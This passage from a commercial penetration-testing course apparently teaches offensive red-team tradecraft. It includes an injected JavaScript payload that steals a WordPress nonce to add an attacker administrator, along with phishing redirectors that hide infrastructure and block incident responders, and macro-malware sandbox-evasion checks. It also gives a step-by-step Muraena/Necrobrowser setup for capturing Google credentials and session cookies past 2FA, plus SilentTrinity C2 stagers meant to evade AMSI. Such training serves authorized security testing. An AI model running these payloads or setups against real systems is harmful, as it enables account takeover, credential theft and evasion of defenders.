that there is a CSRF protection mechanism inside
WordPress’ core (actually a nonce acting as a anti-CSRF
token).

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.216


1.4.4 BeEF use cases
BeEF use cases : Scenario 2
Since we have identified an XSS vulnerability we could render
that anti-CSRF mechanism ineffective, by capturing the nonce
first and then making the appropriate request to add ourselves as
an administrator.

The above could can be achieved programmatically by injecting


the following JavaScript code, leveraging BeEF’s “inject raw
JavaScript” functionality. You can find the source code in the
following link.
• https://gist.github.com/anonymous/ba135bd318b49224707f
1fcad5826714
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.217
1.4.4 BeEF use cases
BeEF use cases : Scenario 2

var ajaxRequest = new XMLHttpRequest(); Grabbing a valid CSRF token (nonce) through an
var requestURL = "/wp-admin/user-new.php"; XMLHttpRequest.
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText); Using the fetched nonce to perform a POST
var nonce = nonceMatch[1]; request that will add ourselves as an
administrator, effectively bypassing the CSRF
var params = "action=createuser&_wpnonce_create- protection mechanism.
user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=
attacker&pass2=attacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www- Injected JavaScript to add a new admin
form-urlencoded"); (bypassing CSRF protection)
ajaxRequest.send(params);

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.218


1.4.4 Lab
Put what you’ve learned to
practice with the Establishing a
Shell Through the Victim’s
Browser lab!

To ACCESS your lab, go to the


course in your members area
and click the labs drop-down in
the appropriate module line,
then click the manual icon.

Please note that labs are


only available in Full or
Elite Editions. *NOTE: some courses contain several labs and manuals, please make sure to click the file icon as it may
be a zip that contains multiple lab manuals.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.219


1.4.5 Mimicking DYRE banking trojan’s spread
method

Let’s document a phishing technique we could use in an


internal penetration test.

This technique misuses Messaging Application


Programming Interface (MAPI) on Windows systems and
mimics the way DYRE banking trojan spread.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.220


1.4.5 Mimicking DYRE banking trojan’s spread
method

Mimicking DYRE’s spreading method


PowerShell will be used since it can easily access the MAPI
through an Outlook ComObject.

The specifics of this technique can be found on the


following link.
• http://www.xorrior.com/phishing-on-the-inside/

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.221


1.5

Generic Anti-
Analysis

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.222


1.5 Generic Anti-Analysis

In this chapter we will showcase the most effective anti-


analysis techniques regarding both our macro-based
malware and our phishing page.

Specifically the following subjects will be covered:


• Apache mod_rewrite rules for anti-analysis
• Macro-based anti-analysis

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.223


1.5.1 Apache mod_rewrite for anti-analysis

There is one and only goal as far as our infrastructure is


concerned, when we are executing a phishing campaign.

This goal is to prevent end-users including Blue Team


analysts from examining and, of course, interfering with our
infrastructure.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.224


1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite
To achieve this goal, we can utilize an apache box as a
redirector. This box will be placed between our targets and
our engagement server. Redirectors on social engineering
campaigns are dispensable.

It is common for redirectors to be detected or ceased


during long engagements. Taking this into consideration it
is best that we host our phishing websites and payloads on
our engagement server.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.225
1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite
The redirector’s mission will actually be the one of a proxy.

mod_rewrite can be leveraged to configure our box.

http://httpd.apache.org/docs/current/mod/mod_rewrite.html PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.226


1.5.1 Apache mod_rewrite for anti-analysis

User Agent Redirection


By capturing and analyzing each target’s user agent and
then serving the appropriate, for each user agent, phishing
content and payload, we can maximize our campaign’s
effectiveness.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.227


1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite – User Agent Redirection


For example mobile users should be redirected to mobile
friendly phishing pages serving various mobile browser
exploits based on a profiler’s result.

The following ruleset and regex can assist us in the above.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.228


1.5.1 Apache mod_rewrite for anti-analysis
Apache mod_rewrite – Cheat Sheet
mod_rewrite Server Variables mod_rewrite HTTP Headers REGEX mod_rewrite RewriteRule Flags

%{REQUEST_​URI} %{HTTP​_US​ER_​AGENT} ^ Start of string CO=cookie Set specified cookie

%{QUER​Y_S​TRING} %{HTTP​_RE​FERER} $ End of string [NC] Case Insensitive

%{HTTPS} %{HTTP​_COOKIE} . Any Single Character [N] Next – Continue Processing

%{REQU​EST​_FI​LENAME} %{HTTP​_FO​RWA​RDED} (a|b) a or b [OR] Combine with next rule using ‘OR’ instead of the
default ‘AND’

%{REMO​TE_​ADDR} %{HTTP​_HOST} [abc] In range (a, b or c) [L] Stop Evaluating

%{REMO​TE_​HOST} %{HTTP​_PR​OXY​_CO​NNE​CTION} [^abc] Not In range [P] Stop Evaluating and proxy the request on behalf of the
user

%{REMO​TE_​PORT} %{HTTP​_AC​CEPT} a* Zero or more of a R[=code] Rewrite to URL with optional code (302)

%{PATH​_INFO} a? Zero or one of a [QSA] Append to Query String

a{3} Exactly 3 of a -f Check existence of a file

a{3,6} 3 to 6 of a -d Check existence of a directory

a{,6} Up to 6 of a [L,R=302] Combination of Stop Evaluating and Rewrite with


302 Code.

\ Escape Character

[:punct:] Any punctu​ation symbol

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.229


1.5.1 Apache mod_rewrite for anti-analysis

Every mobile user will be redirected to a web page


containing a profiler whose mission is to provide a result
which we will use to decide the mobile browser exploit to
be served.

All other requests will be proxied to our engagement server.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.230


1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite – User Agent Redirection


Using a similar ruleset you can also block common IR user
agents.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.231


1.5.1 Apache mod_rewrite for anti-analysis

Invalid URI Redirection


Both the end-user and of course incident responder should
be allowed to interact with specific assets.

We can choose which assets our box will forward for our
targets and sinkhole all other requests to a page of our
choosing.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.232


1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite – Invalid URI Redirection


The following ruleset can assist us with that.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.233


1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite – Invalid URI Redirection


Serving a payload, no matter what URI is requested, can
also be accomplish in a similar manner.

In addition, redirecting requests to non-existing URIs to a


legitimate page of the corporation we are targeting, adds to
our phishing page’s sense of legitimacy.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.234


1.5.1 Apache mod_rewrite for anti-analysis

Operating System Based Redirection


Previously we have covered how a macro can understand
the OS in which it operates.

BeEF offers similar capabilities from inside a phishing page


containing BeEF’s hook.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.235


1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite – OS Based Redirection


OS detection can also be performed through HTML code
similar to this one here.

This code leverages JavaScript to perform OS detection


and appends a URL parameter (os_id) to the end of the
request.

http://www.javascripter.net/faq/operatin.htm PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.236


1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite – OS Based Redirection


The following ruleset can assist in redirecting targets to the
appropriate engagement server’s content and payloads
based on the OS detection result.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.237


1.5.1 Apache mod_rewrite for anti-analysis

IP Filtering
IP filtering can easily be accomplished using mod_rewrite.
IP filtering will enable us to proxy requests or redirect users
based on their IP address.

We can follow two approaches in IP Filtering, whitelisting or


blacklisting.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.238


1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite – IP Filtering


1. Whitelisting approach
The following ruleset will be effective if we know the exact
IP ranges of our targets.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.239


1.5.1 Apache mod_rewrite for anti-analysis

Apache mod_rewrite – IP Filtering


2. Blacklisting approach
The following ruleset will be effective, in case we detect an IP
or IP range that can endanger our campaign’s success.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.240


1.5.2 Macro-based anti-analysis

There are numerous checks a macro-malware can perform


in order to determine whether it runs in an analyst’s
environment or not.

Let’s see how a macro-malware with anti-analysis


capabilities looks like.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.241


1.5.2 Macro-based anti-analysis
Macro-based anti-analysis
RecentFiles property returns a RecentFiles
collection that represents the most recently
accessed files. The macro code checks if the
number of RecentFiles collection is less than a
predefined threshold and terminates if true.
Threshold value we have seen is 3 or higher.

The malware author makes an assumption


here that most clean Virtual Environment
snapshots will be taken after a fresh Microsoft
Office install with probably one or two
document files opened for testing the
installation. Alternately, a standard user
system with Office applications should have at
least 3 or more recently accessed document
files.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.242


1.5.2 Macro-based anti-analysis

A similar tactic is employed


by the Dyre Trojan, in that Macro-based anti-analysis This is how an
instance of Internet
the malware interrogates Explorer is created
the number of cores in the in Visual Basic.
computer’s processor,
refusing to execute in cases
where there is only one.
The Dyre Trojan makes the
assumption that many
analysis sandboxes will
utilize a virtualized
processor with only one core
while nearly all real,
consumer-grade computers
will have at least two cores
in their processors.
Pointing Internet
Explorer to the
Another common tactic used attacker’s domain
by macro-malware is to accompanied by the
interrogate the system collected encrypted
where they are executed for data.
its MAC address, using WMI.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.243


1.5.2 Macro-based anti-analysis

The following is a list of macro-malware anti-analysis


techniques, for you to experiment with.
• Macro Based Anti-Analysis
• Pafish Macro
• Macro Malware Adds Tricks, Uses MaxMind to Avoid Detection
• Will it blend? This is the Question, new Macro based Evasions
spotted
• Am I in a VM? – The tale of a targeted Phish

Check out slide 374 to see full reference links. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.244
1.5.3 Generic Anti-Analysis

This section will showcase effective anti-analysis


techniques regarding both, the infrastructure needed for the
phishing campaign and macro-based malware obfuscation.

The following subjects will be covered:


• Red team infrastructure
• Common Command and Control Frameworks
• Macro-based anti-analysis
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.245
1.5.3.1 Red Team Infrastructure

Designing the infrastructure is a crucial part of every red


teaming engagement as this infrastructure needs to be
resilient and have operational security (OPSEC) in mind.
Main goals are:
• Reliable and secure communications.
• Obfuscate and avoid detection.
• Segregate according to functionality

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.246


1.5.3.1 Red Team Infrastructure

Although there are several ways of achieving these requirements. This example shows a basic overview where:
• The connection leaves the client infrastructure encrypted and is only decrypted once it reaches the internal red
team infrastructure.
• Public cloud services are used for redirection in order to not expose the internal infrastructure.
• Command and Controls (Long-term and interactive), phishing and payload team servers are segregated. If the
defense team identifies one of them as suspicious, it does not compromise the whole exercise and it can be easily
readapted.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.247


1.5.3.1 Red Team Infrastructure
Domains
The considerations for choosing domain names are different depending on their purpose. For
social engineering a name fitting the campaign should be chosen in order for the C2 to blend
with the target environment.

Domain Categorization
Although domains can be purchased and categorized, this increases the time and money
needed for the operation. Chameleon is a tool to assist domain categorization.

It is usually a better option to buy pre-categorized domains that have been used legitimately and
gone through this process. ExpiredDomains is a good resource for finding previously used
domains and reputation can be checked using Virustotal or Bluecoat. This process can be
automated using DomainHunter.

Do not forget to check the history of IP Addresses for a domain, it may give clues about its use
or legitimacy.

Check out slide 375 to see full reference links. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.248
1.5.3.1 Red Team Infrastructure
Traffic Inspection
Some security products do not inspect or
decrypt domains associated to Health
and wellness, Personal privacy, finance
and banking by default. It is
recommended to put the domains used
for the exercise under any of these
categories

Propagation
Always use DNSChecker to make sure
the DNS settings are propagated
correctly.

https://dnschecker.org/ PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.249


1.5.3.1 Red Team Infrastructure

Phishing
Setting up a phishing infrastructure tends to be a complex process. The
easiest method is to use disposable VPS or third-party services (Review
TOS) trusted by the client for sending emails and keep the phishing
framework in the internal infrastructure.
Some available phishing frameworks:
• GoPhish (https://getgophish.com)
• Phishing Frenzy (https://www.phishingfrenzy.com/)
• King Phisher (https://github.com/securestate/king-phisher)
• The Social-Engineer Toolkit (https://www.trustedsec.com/tools/the-
social-engineer-toolkit-set/)

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.250


1.5.3.1 Red Team Infrastructure

SMTP Servers
In case a disposable VPS service is used, it is really
important to remove previous server headers and
configure catch-all addresses to receive bounced emails
or any user responses.

A quick and easy way to deploy an SMTP Server in a VPS


is to use the Postfix-Server-Setup script (fork to remove
sensitive information from email headers).
https://github.com/adoreste/Postfix-Server-Setup PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.251
1.5.3.1 Red Team Infrastructure

SMTP Servers
Once the server is configured and the DNS records
are set. There are 2 checks that should be done
before sending an email to a real provider in order to
avoid be marked as SPAM due to configuration
errors.

MX Toolbox (https://mxtoolbox.com)
Add the domain and click into “Find problems” to
detect possible configuration issues.

Mail-Tester (https://mail-tester.com)
Mail tester is a service for rating emails. It will
perform checks in the content with SpamAssassin
and some configuration and blacklist checks.

Do not start delivering emails until issues are


resolved.

https://mxtoolbox.com/
https://mail-tester.com/ PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.252
1.5.3.1 Red Team Infrastructure

Redirectors
Red team servers should have a redirector placed in front of
it for obfuscating the backend infrastructure from incident
response teams.

Their functionality is simple, redirect traffic from targets to


backend infrastructure, for this reason they are simpler to
deploy than red team servers. Redirectors can be without
filtering or with filtering based on request parameters.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.253
1.5.3.1 Red Team Infrastructure

Socat
Socat is a command line based utility that establishes two bidirectional
byte streams and transfers data between them. This can also be used
to redirect TCP and UDP connections between hosts, although a
session needs to be left opened on the redirector. Tmux or screen con
be used for that purpose and be aware that traffic must be allowed in
the firewall. Basic redirector examples are:

# DNS Redirector
socat udp4-recvfrom:53,reuseaddr,fork udp4-sendto:<DEST IP>; echo –ne
# HTTP Redirector
socat TCP4-LISTEN:80,bind=<Interface IP>,fork TCP4:<DEST IP>:80

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.254


1.5.3.1 Red Team Infrastructure

Iptables
Iptables can be used to forward traffic from one host to another,
it provides the filtering capabilities included in iptables itself and
can be used to redirect either TCP or UDP Traffic, so using it can
be used for DNS Redirectors, HTTP, TCP, etc. For example this
rules can be used to redirect DNS Traffic associated to DNSCat2.
# DNSCat2 Server to accept connections only from redirector
iptables -I INPUT 6 -p udp –m udp --dport 53 -s <REDIRECTOR IP> -j ACCEPT -m comment --comment "ACCEPT DNS Connections from the redirector”
# REDIRECTOR
sysctl –w net.ipv4.ip_forward=1
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination <DNSCAT2 SERVER IP>:53
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.255


1.5.3.1 Red Team Infrastructure
OpenSSH
OpenSSH is a connectivity tool for remote login with the SSH protocol. It encrypts all
traffic and provides a large suite of secure tunneling capabilities, several
authentication methods, and sophisticated configuration options. Secure tunneling
capabilities can be used to redirect TCP ports on a secure way across the network.

In order to avoid problems with the connection and avoid password attacks,
authentication should be set to PKI only and autossh must be used to restart the
connection in case it drops. Some OpenSSH Tunnel examples:
# Add the following lines in /etc/ssh/sshd_config
GatewayPorts yes
AllowTcpForwarding yes
# Forward Red Team Server port 80 to Redirector port 80
tmux new –s TCP_REDIR80
autossh -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -R \*:80:0.0.0.0:80 <USER>@<Redirector IP>

# Forward Red Team Port 80 to Redirector 80 and 443 using a jumphost


tmux new –s 80TCP_REDIR
autossh -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -J <USER>@<JUMPHOST IP>:<JUMPHOST PORT> -R \*:80:0.0.0.0:80 <USER>@<Redirector IP> -p
<Redirector Port>

https://linux.die.net/man/1/autossh PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.256


1.5.3.1 Red Team Infrastructure
Nginx Redirectors
Nginx is a high-performance HTTP Server and reverse proxy with a rich
feature set, simple configuration and low resource consumption.

Previously, Apache mod_rewrite module was used for manipulating urls on


the fly. In this case similar functionality will be achieved, but with Nginx
acting as a reverse proxy. This means victims will never connect directly to
the team server going one step further in hiding the red team infrastructure.

# Install Nginx in Debian 10


root@els:~# apt update
root@els:~# apt install nginx-extras nginx-common
root@els:~# systemctl stop nginx # -> Service not needed now

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.257


1.5.3.1 Red Team Infrastructure

For the reverse proxy example a fake website will be set up


using cat-sites templates and a letsencrypt certificate.
Once the basic website has been created, only certain
requests will be redirected to the team server based on
certain parameters.
# Configure Nginx in Debian 10
root@els:~# apt update
root@els:~# apt install certbot git
root@els:~# git clone https://github.com/audrummer15/cat-sites.git /usr/share/nginx/cat-sites
root@els:~# certbot certonly --standalone –d <DOMAIN>
root@els:~# openssl dhparam -out /etc/nginx/dhparam.pem 2048

https://github.com/audrummer15/cat-sites PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.258


1.5.3.1 Red Team Infrastructure

Once the files and valid certificate has been generated, the
configuration files needed for nginx to work can be created
with the help of https://nginxconfig.io.

Do not enable the reverse proxy option as this will be


configured later on.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.259


1.5.3.1 Red Team Infrastructure
Going to the website configuration we can add the
condition wanted to redirect to the team server. In this
example the following configurations are used:
• If the user agent matches pass the request to the
team server
• If a URI parameter matches the word ‘IMPLANT’
then pass the request to the team server
• If a cookie ‘id’ with the value IMPLANT exists, then
pass the request to the team server

Some configurations might require additional tweaks


in order to not loose the real IPs. Please check the
configuration options at the official documentation

Team server ports can be forwarded to the redirector


using SSH as mentioned before.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.260


1.5.3.1 Red Team Infrastructure

With the previous configuration in place, the


file ‘payload.txt’ can be reached using a user
agent header containing the specific string
shown in the configuration. All other request
will be redirected to the fake website or
legitimate company website.

Be aware all the requests are reaching the


webserver with the IP address ‘127.0.0.1’. For
maintaining the original IP address from the
connection use ’proxy_set_header’
configurations before the ‘proxy_pass’ line.

Double check that ‘http_realip_module’ is


installed in nginx via the command: ‘2>&1
nginx -V | tr -- - '\n' | grep http_realip_module ‘.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.261


1.5.3.1 Red Team Infrastructure

OPSEC Considerations
• Consider using iptables & ipset to restrict to only needed
protocols and countries
• As mentioned before, harden your ssh configuration and
preferably allow only connections from a trusted host.
• Keep systems updated, do not roll up outdated instances
• Monitor IP and Domain Blacklists
• Monitor logs and consider using RedElk
• Consider Ansible for ease of deployment and hardening
• Change default umask to a more restrictive one and chattr all
sensitive directories
https://infosec.mozilla.org/guidelines/openssh.html
https://github.com/outflanknl/RedELK PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.262
1.5.3.2 Phishing with Reverse Proxies

As already mentioned, phishing remains an effective way to


gain initial access to an enterprise network, it is a simple
and effective technique that often tricks users into
divulging sensitive information such as usernames and
passwords.

However, spoofed websites can be easily detected and the


introduction of 2FA tackles traditional phishing campaigns.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.263
1.5.3.2 Phishing with Reverse Proxies

Reverse proxies sit between the user and the target website
and can show the legitimate content to the user while
capturing credentials and tokens that can be used to
impersonate a user’s session.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.264


1.5.3.2 Phishing with Reverse Proxies

Muraena and Necrobrowser


Muraena acts as a reverse proxy capturing credentials and
session cookies and handing these sessions to
Necrobrowser, in order to automate post-phishing activities
such as data extraction or automated actions on user’s
behalf.

https://conference.hitb.org/hitbsecconf2019ams/materials/D2T1 - Muraena
- The Unexpected Phish - Michele Orru & Giuseppe Trotta.pdf PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.265
1.5.3.2 Phishing with Reverse Proxies

For setting up a phishing campaign using muraena and


necro browser, there are some requirements:
• VPS/Server, preferably in the same region as the target
organization. Since Muraena act as a reverse proxy, if the
region is different the response can be shown in a
different language and alerts can be more easily
triggered.
• Domain Name
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.266
1.5.3.2 Phishing with Reverse Proxies

VPS Server
In this case, the Linux Distribution selected is Debian 10,
but any distribution supporting the installation of Docker
and GoLang <= 1.12 should do the trick.
#!/bin/bash
apt update && apt install golang-1.13 certbot docker docker-compose docker.io make
export PATH=$PATH:/usr/lib/go-1.13/bin && echo “export PATH=$PATH:/usr/lib/go-1.13/bin” >>
~/.bashrc
export GOPATH=$HOME/go && echo ”export GOPATH=$HOME/go” >> .bashrc
go get github.com/muraenateam/muraena
cd $GOPATH/src/github.com/muraenateam/muraena
make build
go get github.com/muraenateam/necrobrowser
cd $GOPATH/src/github.com/muraenateam/necrobrowser
make build

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.267


1.5.3.2 Phishing with Reverse Proxies
Certificate and DNS configurations
As the reverse proxy will operate in different subdomains, a wildcard certificate and
a CNAME DNS record will be needed in order to work correctly. Those can be with
the following:
✓ Execute: `certbot certonly --server https://acme-v02.api.letsencrypt.org/directory --
manual --preferred-challenges dns -d DOMAIN.EXT -d "*.DOMAIN.EXT”` in the server
and take note of the “acme-challenge”.

✓ Edit the DNS configuration and ADD the following records:


❑ @ 1 IN A SERVER_IP
❑ * 1 IN CNAME DOMAIN.EXT
❑ _acme-challenge 1 IN TXT ACME_CHALLENGE

✓ Once the DNS records have been propagated (DNSChecker), continue with the
certbot command to receive the wildcard certificate.
https://dnschecker.org/ PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.268
1.5.3.2 Phishing with Reverse Proxies

Muraena Configuration
In this example the Google template will be modified in
order to capture sessions bypassing 2FA.

The file is located in:


“$GOPATH/src/github.com/muraenateam/muraena/conf
ig/google.com.json”.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.269


1.5.3.2 Phishing with Reverse Proxies

The first change needed is


on the third line, under the
“phishing” key, where the
domain used for the
campaign needs to be
added.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.270


1.5.3.2 Phishing with Reverse Proxies

Under the key ”custom” from


lines 37-69, all the
occurrences with “phishing”
and “anti” need to be
replaced by the domain used
in the campaign and the
extension.

Decode and reencode the


modified base64 strings
from lines 63-68.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.271
1.5.3.2 Phishing with Reverse Proxies

Under the key ”tls” from lines


105-111, the path to the
letsencrypt certificate generated
before needs to be added.

Change the default necrobrowser


token in line 178.

And remove the ”sw.js” part from


line 199 in order to capture the
sessions.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.272
1.5.3.2 Phishing with Reverse Proxies

Once the configuration has been changed, the muraena proxy and necrobrowser can
be started by issuing the following commands from their respective folders:
• ./muraena --config $(pwd)/config/google.com.json
• ./necrobrowser --token "ada9f7b8-6e6c-4884-b2a3-ea757c1eb617”

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.273


1.5.3.2 Phishing with Reverse Proxies

Any target redirected to the phishing


domain will see the legitimate google
page with a valid certificate.

Credentials and cookies should be


captured and redirected to the
necrobrowser in order to perform
automated tasks on behalf of the
user.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.274
1.6

Evasive C2
Frameworks

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.275


1.6 Evasive C2 Frameworks

Let’s now focus on two cutting-edge and quite evasive C2


frameworks SilentTrinity and Covenant.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.276


1.6.1 SilentTrinity

Overview
SilentTrinity follows the Bring Your Own Interpreter (BYOI)
approach and features embedding 3rd party scripting
languages into .Net.

SilentTrinity allows us to perform PowerShell attacks


without actually touching PowerShell binaries or
system.management.automation DLLs that will trigger
AMSI optics.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.277
1.6.1 SilentTrinity

This is accomplished using Boo-Lang in-memory


compilation capabilities, where we can reach P/Invoke or
low-level Windows APIs to inject Shellcode, etc. It can be
embedded in any .Net Language (CSharp, PowerShell, etc.).

Lolbins interacting with .Net languages can also be used to


execute Boo-Lang.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.278


1.6.1 SilentTrinity

An overview of the process:


1. Embed Boo-Lang interpreter in a .Net Language
2. Send source code to the interpreter
3. The code will be dynamically executed (Compiled client-
side).
• PowerShell-like attacks without PowerShell
• Not limited to a single language
• Anti-RE By design
• No worries about AMSI
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.279
1.6.1 SilentTrinity

SilentTrinity has a client-server architecture like other


common C2 frameworks. The connection goes as follows:

[Client/Operator] – Encrypted WebSocket→ [Team Server] HTTPs – [Objective]

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.280


1.6.1 SilentTrinity
Installation
Recent SilentTrinity versions have binary relesases than can be downloaded and run
without any issues.

If an installation from source is preferred, the main requirements are Python3, Pyenv
and pipenv.

When performing an installation it is recommended to recompile the SilentTrinity


Stager (Naga) as it can be easily flagged by AV Vendors.

# git clone https://github.com/byt3bl33d3r/SilentTrinity


# pip3 install --user pipenv && pipenv install && pipenv shell
# python st.py

https://github.com/byt3bl33d3r/SILENTTRINITY/actions PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.281


1.6.1 SilentTrinity

Connection
A client-server architecture is used by SilentTrinity, for this
reason, a Team Server needs to be launched and placed behind a
redirector that can be operated via another host or the same one.
Just make sure that only authorized hosts are able to connect to
the management interface and always ensure that the certificate
fingerprints between client and server match.

# Server
> python teamserver.py <local ip to listen> <password>
# Client/Operator
> python st.py wss://<user>:<password>@<team_serverip>:<port>

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.282


1.6.1 SilentTrinity

Setting up a listener
The team server will be placed behind a redirector providing
a valid certificate. At this point the self-signed certificate
from SilentTrinity is irrelevant. Setting a basic listener is as
simple as providing the following parameters:
• Name: Name of the listener, default to https
• BindIP: The IPv4/IPv6 Address to bind the listener to
• Port: Port for the listener, default to 443

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.283


1.6.1 SilentTrinity
To reach the listeners menu,
connect to SilentTrinity interface
and make use of:
• listeners -> Move to the
listeners menu
• use https -> Open https listener
• set VAR Value -> Configure the
values according to the system
• Run -> Start the listener
Autocompletion is enabled, make
sure to do extensive use of the
help and options command too.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.284
1.6.1 SilentTrinity
Stagers
AMSI has optics in .NET starting from version
4.8 and this resulted in the latest C# tradecraft
starting to be flagged and detected by Defender.
Properly instrumented SilentTrinity payloads will
not be flagged at the moment due to the
dynamic compilation taking place in the
endpoint (BYOI).

In order to demonstrate further SilentTrinity


capabilities, a PowerShell stager will be used.
The steps required to create stager are:
• stagers -> Move to the stagers menu
• list -> List available stagers
• use [Stager Name] -> Select stager
• generate [Listener name] -> Generate Stager
for the given listener
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.285
1.6.1 SilentTrinity

Interacting
When the stager is executed in the target machine, a new session
should appear on SilentTrinity’s interface.

This can be confirmed using the command ‘sessions’ and ‘list’ to view
the active sessions.
These sessions can be renamed in order to easily identify them using
the command ‘rename’.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.286
1.6.1 SilentTrinity

At this point, it is really important


to gather information about the
host in order to identify defence
mechanisms or possible
configurations that could tackle
offensive operations.

Basic information can be


obtained via the “info” command.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.287
1.6.1 SilentTrinity

Although there is some useful information, using modules


can definitely improve the situation awareness. One of the
modules included in SilentTrinity is Seatbelt from
GhostPack.

“Seatbelt is a C# project that performs a number of security-


oriented host-survey "safety checks" relevant from both
offensive and defensive security perspectives”
https://github.com/GhostPack/Seatbelt
https://github.com/GhostPack PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.288
1.6.1 SilentTrinity
Loading modules in SilentTrinity is an easy task, as
autocomplete is enabled by default and “help”, “options”
and “list” commands tend to be very helpful for browsing all
available functionality. For executing the Seatbelt module,
the following steps are required:
• Open the modules section via the “modules” command
• Use Seatbelt module via “use boo/seatbelt”
• Define Seatbelt arguments used for gathering
information.
• Execute “run <agent_name>”.
https://github.com/GhostPack/Seatbelt/blob/master/README.md PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.289
1.6.1 SilentTrinity

The information retrieved contain data about OS information,


current integrity, local group membership, Firewall rules,
registered AV products and if there is any defensive processes
or admin tools loaded among other system details.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.290


1.6.1 SilentTrinity

SilentTrinity has several modules to assist offensive


operations. These can be easily listed by moving to the
modules (“modules”) section and listing (“list”) them.

